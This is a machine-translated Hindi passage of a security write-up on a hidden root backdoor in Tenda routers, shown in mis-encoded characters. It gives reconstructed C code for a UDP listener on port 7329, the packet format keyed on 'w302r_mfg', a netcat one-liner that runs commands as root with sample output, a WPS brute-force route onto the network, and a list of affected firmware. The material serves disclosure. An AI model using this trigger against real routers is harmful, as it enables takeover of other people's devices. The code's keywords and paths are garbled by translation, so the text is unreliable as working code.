рддрд╛рдХрд┐ рдЖрдк рдпрд╣ рди рд╕реЛрдЪреЗрдВ рдХрд┐ рдбреА-рд▓рд┐рдВрдХ рдПрдХрдорд╛рддреНрд░ рдЖрдкреВрд░реНрддрд┐рдХрд░реНрддрд╛ рд╣реИ рдЬреЛ рдЕрдкрдиреЗ рдЙрддреНрдкрд╛рджреЛрдВ рдореЗрдВ
рдмреИрдХрд╕рд╛рдЗрдб рдЫреЛрдбрд╝рддрд╛ рд╣реИ, рдпрд╣рд╛рдВ рдПрдХ рдФрд░ рд╣реИ -
рдЯреЗрдВрдбрд╛редрдЯреЗрдВрдбрд╛ W302R рд╡рд╛рдпрд░рд▓реЗрд╕ рд░рд╛рдЙрдЯрд░ рдХреЗ рд▓рд┐рдП рдирд╡реАрдирддрдо рдлрд░реНрдорд╡реЗрдпрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдХреНрд░реЗрдЧ рд╣реЗрдлрд╝рдирд░ рдиреЗ / рдмрд┐рди / httpd рдкрд░ рдЧреМрд░ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, рдЬреЛ рдХрд┐ рдЧреЛрдПрд╣реЗрдб рдХрд╛ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдмрди рдЧрдпрд╛:

рд▓реЗрдХрд┐рди рдЯреЗрдВрдбрд╛ рдореЗрдВ рдПрдХ рд╕рдВрд╢реЛрдзрд┐рдд рд╕рд░реНрд╡рд░ рд╣реИред HTTP рдкреНрд░рд╛рдкреНрдд рд▓реВрдк рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рд╕реЗ рдареАрдХ рдкрд╣рд▓реЗ, InitMfgTask рдкрд░ рдореБрдЦреНрдп рдХреЙрд▓ рдПрдХ рдЕрд▓рдЧ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ MfgTread рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ:

рдкрд╣рд▓реЗ MfgTread UDP рд╕реЙрдХреЗрдЯ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдкреЛрд░реНрдЯ 7329 рдкрд░ рд╕реБрдирддрд╛ рд╣реИ:

рд╕реНрдЯреНрд░реАрдо рдлрд┐рд░ рд░рд┐рдХрд╡рд░рдлреЙрдо рд▓реВрдк рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддреА рд╣реИ рдФрд░ рд╕реЙрдХреЗрдЯ рд╕реЗ 128 рдмрд╛рдЗрдЯреНрд╕ рдкрдврд╝рддреА рд╣реИред рдпрд╣ рд╣рд░ рдкреНрд░рд╛рдкреНрдд рдпреВрдбреАрдкреА рдкреИрдХреЗрдЯ рдХреЛ рд╕реБрдирддрд╛ рд╣реИ, рдЬреЛ 14 рдмрд╛рдЗрдЯ рд▓рдВрдмрд╛ рд╣реИред

UDP рдкреИрдХреЗрдЯ рдХреЛ рдЗрд╕ рдХреЛрдб рдХреЗ рд╕рд╛рде рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

рд╕рдорд╛рди C рдХреЛрдб рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг:
рдореЗрдорд╕реЗрдЯ (rx_magic_string, 0, 0x80);
рдореЗрдорд╕реЗрдЯ (рдХрдорд╛рдВрдб_рдмрд╛рдЗрдЯ, 0, 0x80);
рдореЗрдорд╕реЗрдЯ (рдХрдорд╛рдВрдб_рд░рдЧ, 0, 0x80);
memcpy (rx_magic_string, rx_buf, 9);
command_byte [0] = rx_buf [11];
memcpy (рдХрдорд╛рдВрдб_рд░рдЧ, rx_buf + 12, rx_size-12);
// рдпрджрд┐ рдЬрд╛рджреБрдИ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреА рд╣реИ, рддреЛ рдЗрд╕ рдкреИрдХреЗрдЯ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдирд╛ рдмрдВрдж рдХрд░реЗрдВ рдФрд░ рджреВрд╕рд░реЗ рдкреИрдХреЗрдЯ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ
if (strcmp (rx_magic_string, "w302r_mfg")! = 0) goto external_receive_loop;
рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рд╕реЙрдХреЗрдЯ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдкреИрдХреЗрдЯ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ:
рд╕рдВрд░рдЪрдирд╛ command_packet_t
{
рдЪрд╛рд░ рдЬрд╛рджреВ [10]; // 9 рдмрд╛рдЗрдЯ рдореИрдЬрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ ("w302r_mfg"), рд╕рд╛рде рд╣реА рдПрдХ рдкреВрд░реНрдг рд╕рдорд╛рдкреНрддрд┐ рдмрд╛рдЗрдЯ
char command_byte;
char command_arg [117];
};
рдпрджрд┐ рдкреНрд░рд╛рдкреНрдд рдкреИрдХреЗрдЯ рд▓рд╛рдЗрди "w302r_mfg" рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдХреЛрдб рджрд┐рдП рдЧрдП рдмрд╛рдЗрдЯ рдореЗрдВ рддреАрди ASCII рд╡рд░реНрдгреЛрдВ ('1', 'x' рдФрд░ 'e') рдХреА рдЖрдЬреНрдЮрд╛рдУрдВ рдХреА рддреБрд▓рдирд╛ рдХрд░рддрд╛ рд╣реИ:

рд╕рд╛рджрдЧреА рдХреЗ рд▓рд┐рдП, рдПрдХ рдЙрджрд╛рд╣рд░рдг C рдХреЛрдб:
рд╕реНрд╡рд┐рдЪ (рдХрдорд╛рдВрдб_рдмрд╛рдЗрдЯ)
{
рдорд╛рдорд▓рд╛ 'рдИ':
strcpy (tx_buf, "w302r_mfg");
tx_size = 9;
рддреЛрдбрд╝;
рдорд╛рдорд▓рд╛ '1':
рдЕрдЧрд░ (рд╕реНрдЯреНрд░реИрд╕ (рдХрдорд╛рдВрдб_рд░рдЧ, "рдЖрдИрд╡реНрд░реАрд╡")! = NULL)
tx_size = call_shell (command_arg, tx_buf, 0x800);
рдЕрдиреНрдпрдерд╛
strcpy (tx_buf, "000000");
tx_size = strlen (tx_buf);
рддреЛрдбрд╝;
рдорд╛рдорд▓рд╛ 'x':
tx_size = call_shell (command_arg, tx_buf, 0x800);
рддреЛрдбрд╝;
рдбрд┐рдлрд╝реЙрд▓реНрдЯ:
рдЧреЛрдЯреЛ рдЖрдЙрдЯрд░_рд╕рд┐рд╡рд┐рд╡_рд▓реВрдк;
}
sendto (client_socket, tx_buf, tx_size, client_sock_addr, 16);
рдЧреЛрдЯреЛ рдЖрдЙрдЯрд░_рд╕рд┐рд╡рд┐рд╡_рд▓реВрдк;
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрджрдо рдЕрдЧрд▓реЗ рдмрд╛рдЗрдЯ рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИрдВ:
'рдИ' - рдкрд┐рдВрдЧ
'1' - рдЖрдкрдХреЛ iwpriv рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ
'X' - рдЖрдкрдХреЛ рд░реВрдЯ рд╕реЗ рдХрд┐рд╕реА рднреА рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ
рдпрджрд┐ 'X' рдХреЛ рдПрдХ рдХрдорд╛рдВрдб рдмрд╛рдЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕ рдЪрд░рд┐рддреНрд░ рдХреЗ рдмрд╛рдж рдХреЗ рдкреИрдХреЗрдЯ рдХреЗ рд╢реЗрд╖ (рдКрдкрд░ рджрд┐рдП рдЧрдП рдХреЛрдб рдореЗрдВ рддрдерд╛рдХрдерд┐рдд рдХрдорд╛рдВрдб_рдХрд╛рд░) рдХреЛ call_shell рд╕реЗ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ POPEN рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ:

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, call_shell рдХрдорд╛рдВрдб рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рд╕рд╛рде tx_buf рдмрдлрд░ рдХреЛ рднрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рд╣рдо рдкрд┐рдЫрд▓реЗ C рдХреЛрдб рд╕реЗ рджреЗрдЦрддреЗ рд╣реИрдВ, рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рд╡рд╛рдкрд╕ рднреЗрдЬ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
MfgThread рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдФрд░ рдкреИрдХреЗрдЬ рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдЬрд╛рдирдХрд░, рд╣рдо рдЖрд╕рд╛рдиреА рд╕реЗ Netcat рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЛ рдкреБрди: рдкреЗрд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
$ echo -ne "w302r_mfg \ x00x / bin / ls" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x 2 0 0 1363 рд╡реЗрдмрд░реВрдЯ
drwxr-xr-x 1 0 0 0 var
drwxr-xr-x 5 0 0 43 usr
drwxr-xr-x 1 0 0 0 tmp
drwxr-xr-x 2 0 0 3 sys
drwxr-xr-x 2 0 0 569 sbin
dr-xr-xr-x 39 0 0 0 proc
drwxr-xr-x 2 0 0 3 mnt
drwxr-xr-x 1 0 0 0 рдореАрдбрд┐рдпрд╛
drwxr-xr-x 4 0 0 821 рд▓рд┐рдм
lrwxrwxrwx 1 0 0 11 init -> рдмрд┐рди / рд╡реНрдпрд╕реНрдд рдмреЙрдХреНрд╕
drwxr-xr-x 2 0 0 3 рдШрд░
drwxr-xr-x 7 0 0 154 etc_ro
drwxr-xr-x 1 0 0 0 рдЖрджрд┐
drwxr-xr-x 1 0 0 0 рджреЗрд╡
drwxr-xr-x 2 1000 100 574 рдмрд┐рди
рдпрд╣ рдкреИрдХреЗрдЬ рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рднреЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реИрд╢реНрд╡рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рдбрдмреНрд▓реНрдпреВрдкреАрдПрд╕ рдХреЗ рд╕рд╛рде рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдмреНрд░реВрдЯ-рдмрд▓ рд╕рдВрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИрдВред ReaverPro рдЕрдкреЗрдХреНрд╖рд╛рдХреГрдд рдЬрд▓реНрджреА рд╕реЗ рд╣реИрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ WPS рдмреНрд░реВрдЯ рдмрд▓, рдПрдХ рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ:

рдпрд╣ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ W302R рдореЗрдВ рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЯреЗрдВрдбрд╛ рдореЗрдВ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ Tenda W330R рдореЗрдВ рднреА рдореМрдЬреВрдж рд╣реИ, рд╕рд╛рде рд╣реА рд╕рд╛рде рдЗрд╕реА рддрд░рд╣ рдХреЗ рдореЙрдбрд▓ рдЬреИрд╕реЗ Medialink MWN-WAPR150N рдореЗрдВ рднреА рд╣реИред рд╡реЗ рд╕рднреА UDP рдкреИрдХреЗрдЯ рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧ "w302r_mfg" рдХреЗ рд▓рд┐рдП рднреА рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред
рдЕрджреНрдпрддрди:
рдЬреАрдердм рд╕реЗ рд▓рд┐рдВрдХ:
ea.imtqy.com/blog/2013/10/18/tenda-backdoorрдХрдордЬреЛрд░рд┐рдпрд╛рдБ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдлрд░реНрдорд╡реЗрдпрд░ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛрддреА рд╣реИрдВ:301r_v3.1.192_en.bin
W311r_W268R_H1_V3.3.6b_ost_staticR.bin
302r_v3.1.192_en.bin
V3.1.201d_W301R_2010_0709.bin
W368R_H3_V3.3.6h_EN_spi.bin
V3.1.201d_W302R_2010_0709.bin
3gr_H2_V3.3.0y_multi_02.bin
w368r_H1_V3.3.6l_EN.bin
U_W330R_V3.1.201d_tenda_en.bin
W368r_H1_V3.3.6b_ost_staticR.bin
3g611r_en_0607.bin.bin
U_W311R_W268R_H3_V3.3.6h_EN_spi.bin
U_3G611R_H2_V3.3.1e_MULTI_02.bin
US_W268RRA__H3_V3.3.6h_EN_SPI.bin
US_W311RRA__H3_V3.3.6h_EN_SPI.bin
w1500a_kfw_V1.0.1.22_en_svn6227.bin
U150M_V3.32.12_EN.bin
U300M_V3.32.12_EN.bin
U_W302RRA_V3.1.201d_EN.bin
US_N60BRV1_N60_V1.0.0.15_EN.bin
US_N6BRV1_N6_V2.0.0.2_EN.bin
U_W150M_EN_V3.33.13_SPI_EN.bin
U_W300M_EN_V3.33.13_SPI_EN.bin
U_W330R_V3.1.201f_en_onWISP.bin
W330R_V3.1.201d_EN.bin
W311R_H1_V3.3.5o.bin
w311r_H1_V3.3.5n_en.bin
US_N60BRV1_N60_V1.0.0.16_EN.bin
US_N80_W568Rbr_V1.0.1.8 (4428) _en_TD.bin
W311r_H1_V3.3.6b.bin
U268R_H1_V3.3.6d_EN.bin
U311R_H1_V3.3.6d_EN.bin
U150M_RT_EN_V3.32.11.bin
U300M_RT_EN_V3.32.11.bin